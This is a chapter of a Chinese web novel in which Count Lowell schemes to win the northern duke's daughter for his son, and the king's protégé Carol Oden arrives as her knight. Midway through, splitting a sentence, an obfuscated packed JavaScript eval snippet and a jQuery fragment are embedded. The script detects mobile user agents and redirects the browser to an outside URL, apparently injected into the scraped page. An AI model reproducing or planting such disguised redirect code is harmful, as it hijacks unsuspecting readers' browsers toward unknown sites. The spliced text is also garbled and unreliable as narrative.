洛威尔伯爵对于这次收获满满的王都之行颇为满意，美中不足的就是被公爵带回来的那个小子。
虽然孩子们离订婚的年龄还有些距离，但把握少年时期这个关键时间正是洛威尔家弯道超车的好机会。王座前觐见国王之前他满面笑容的和宫廷贵族们打招呼，结果国王在和公爵交谈完毕后拉出来了一个看起来和公爵女儿同龄的少年。
“这是奥登子爵留下的孩子，说起来当年我们还和他一起在学院读书，结果他早早就回归神明的怀抱了。”
国王有一头淡金色的卷发，他和奥尔科特公爵悠然自得的叙旧，也没有摆出国王的架子来。
“这孩子从小就向往北境，爱看那些传记和传说故事。这次听说公爵来了，他就来求我能不能让公爵应允他去北境看看。”
奥尔科特公爵有些诧异的看了他一眼，那少年眉眼弯弯的冲他笑，脸上有些藏不住的迫不及待。一个生活在王都的贵族后裔向往北境实在是有些稀奇，但北境确实有比王都的奢靡更浪漫的冒险传说，尽管这些传说更多基于未曾见过北境寒冬的人的想象。
也许是见多了什么，就更想要别的什么。
“北境当然欢迎愿意来的小客人，”奥尔科特公爵和煦的微笑，“不过他……”
“放心好了，”国王看着奥尔科特公爵的脸，读懂了他的担忧，“这孩子是奥登的次子，他哥哥会继承爵位，我也是想让他在北境磨炼一下武艺，未来也有机会挣个勋爵的待遇。”
“那正好，”奥尔科特公爵轻松地笑起来，“他可以当我女儿的骑士，我恰好也想给小艾希找个伴。”
一位来自王都的朋友，说不定艾希会喜欢。
奥尔科特公爵和如今的国王在学院时期曾经也是关系不错的朋友，不过随着年龄逐渐增长，他们都必须背负起各自的责任来。自从奥尔科特公爵继承了爵位后，他进入王都的次数屈指可数，也不再和其他王都贵族有联系了。
所以对于昔日在学院就读时期认识的朋友们的现状，他也知之甚少。
洛威尔伯爵在旁边看着这个场面，心想不止是他一个人在打奥尔科特家的主意。王室的继承人和公爵家的继承人不会互相联姻，尽管距离婚龄尚远，但每家也都有每家的算盘。如果不能早早挑好自己心仪的一方制造机会多多接触，等到婚龄再考虑只怕为时晚矣。
想必是奥登家也想给自己家的次子谋个出路，不惜把孩子送去北境那种条件艰苦的地方。一个养在王都奢靡中的孩子怎么可能向往北境那种艰险的地方？那必然是长辈教给他的托词，为了有更多机会接近公爵女儿的借口。为此他们甚至请到了国王做说客，因为公爵定然不会拒绝国王这种微不足道的请求。
他远远的站着，凝视着奥登子爵次子的那张脸。隐隐的危机感在心中升起。尽管这个小贵族的孩子在此前名声不显，但他得承认，不论是谁想出来的这个主意，这孩子确实长了一副会让少女心动的好皮囊。
奥尔科特公爵答应的很快，也许也有这个原因。
不过他的儿子已经抢占了先机，此次王都之行让他的名声也在王都中逐渐响亮，一双儿女在蒙德大主教手下觉醒也让王都贵族们重新估量他的价值。尽管他暂时还不会出现在这些贵族们的社交活动中，但他和家族的名字已经悄悄成为了引人瞩目的话题。
总体来说，除了这个小小的插曲，毋庸置疑，他占尽优势。
但这个来自奥登子爵家的少年还是让他感到如鲠在喉。也许他应该把自己的孩子也送去北境，但那样似乎有些太过惹眼，毕竟奥登家也只是送了一个确定非继承人的孩子。
他得在接下来的日子里和奥尔科特家加强联系——他陪着笑脸和公爵闲聊的时候，心里也在暗暗算计着自己的利益。
也许此时他的长子已经成功俘获那个来自北境的公爵小姐的心，想到这里，他又傲慢地瞥了那个来晚的子爵次子一眼。
要不是他来自王都，这样的人根本就没有资格和他们出现在一席中。
父亲当然是站在我这边的，斯特雷奇理所应当地想着。
在父亲眼中，家族血脉传承至高无上，延续洛威尔的血脉就像延续他的生命一样重要。哪怕伊西斯做的再好她也不会有任何机会，因为奥尔科特小姐是一位女士，她没可能和她延续一个沾染着洛威尔血脉的孩子。
伊西斯上赶着去北境，只会方便了他。他可不想去北境那种苦寒之地，远离自家接近王都的既繁华又自由的好地方。他是洛威尔的长子，如今父亲需要他联姻自然也不会对他太过严苛，洛威尔领当然是他无法无天的一言堂。
不论是借着探亲还是其他借口，只要伊西斯在北境，他就随时有理由去那走走，在公爵小姐面前刷个脸熟。
至于另一位卑贱的没有继承权的子爵次子，他想这样的人也许根本无关紧要，也许对方的样貌连伊西斯都比不过，根本入不了公爵小姐的眼。
因为把一切想的太过顺利，所以在回家后得知斯特雷奇稀薄的可怜的进度的时候，洛威尔伯爵有些恼怒。
如果只是这样也就罢了，好歹自己的女儿入了公爵小姐的眼，也不算太亏。他知道女生间的友谊会更轻松些，之后只要女儿和公爵小姐维持良好的关系，想办法让对方对斯特雷奇产生好感也并非难事。
但这次奥尔科特公爵还带回了另一个人，而且长相让他充满了危机感。
洛威尔伯爵恼怒的表情不显，他依旧是笑容满面的，脸颊挤出横肉来，做出一副和蔼可亲的样子。哪怕是面对那个被带来的子爵次子的时候他也保持着笑容，不像在家时候肆无忌惮地挥发自己的怒火。
“她想去北境？那就让她去好了。”听着管家路易斯夫人的汇报，洛威尔伯爵说道。送她去和那个子爵次子竞争也是个不错的主意，反正她的哥哥不能去，这次进王都之后，他又有了一些新想法。
他的女儿在北境，也方便他探听北境的动向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736338|164433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。和自己有血缘关系的女儿总是最可靠的，毕竟谁也不能把自己的血脉和纹章挖出来丢弃掉。
女儿贴心的举动让他心情好转了不少，总归是一家人，也不算太过无能。
在公爵和伯爵一同归来的时候，府邸里的三个孩子也骑着马去迎接他们的父亲。
斯特雷奇依旧精心打扮了一番，看起来风度翩翩，又挂上彰显家族纹饰的挂坠，有意无意的摆出伯爵继承人的傲慢派头来。也许他是想给那位来自王都的子爵次子一个下马威，让他在他尊贵的身份面前自行惭秽。
伊西斯和艾希都挑了一身骑装，看起来干练又潇洒。马蹄踏在青黄的落叶上踩出窸窸窣窣的声响，她们在队伍里并排窃窃私语，艾希在讲北境时候遇到的有意思的事情，伊西斯在小声地笑。
“听说父亲带了一个同龄人来做我的骑士。”艾希看着车队在约定的地点停下，悄悄说。
“说真的，我可不需要这种来自王都的娇贵家伙当我的骑士。没两个月他就得受不了，然后灰溜溜的回他的王都去。”
艾希不掩饰自己对王都的向往，但也不掩饰自己并看不起来自王都的娇生惯养的贵族们。
太阳又升高了一些的时候，公爵和伯爵的车队终于远远露出了一点影子。
“多一个人总归有意思些，”伊西斯说，“我都有些迫不及待了，听说他是国王推荐给你父亲的。”
“那也许正说明了他是一个标准的上流社会贵族预备役。”艾希撇撇嘴，“他该挑一个低难度些的目标，就算去教廷当个修士也比去北境好得多。他主动要来北境，就注定他未来哪怕改投教廷，也没有机会进入他们的核心了。只能一条路走到黑，对他来说，这可不算个好选择。”
“再说了，过两年我就会进王都去学院读书，他现在来北境又有什么用呢？”
“听起来更像一场豪赌了。”伊西斯微笑。
“你成功把我的胃口吊起来了，西西。”艾希也笑了，“我开始期待看见这位预备役骑士了。”
公爵的车队终于靠近了。斯特雷奇昂首挺胸的骑在马上，伊西斯和艾希不远不近的跟在旁边。车队后踏踏的马蹄声慢慢停下，一个陌生的少年出现在他们面前。
长途奔袭的汗水略微打湿了他的头发，金色的发丝软软贴着脸颊，双眸灵动地打量着眼前摆出各种姿态的小贵族们，眼尾泪痣微动，一个满溢到那双翠绿眼睛的笑容自然地流露出来。和斯特雷奇略微带着阴郁的气质不同，他仿佛一束照进林间的清朗阳光。
并没有像他们所想的那样穿着华丽的贵族服饰，他只是穿了一身合身又柔软的衣服，胸口朴素的黑绳系着一根和贵族身份格格不入的狼牙挂坠，在日光中一摆一摆，亮得有些晃眼。
艾希察觉到那是一枚来自北境的雪狼牙。
他骑着马踱步到艾希身前，在马上行了一礼。
“您好，奥尔科特小姐，我是卡罗尔·奥登，奥登子爵的次子。”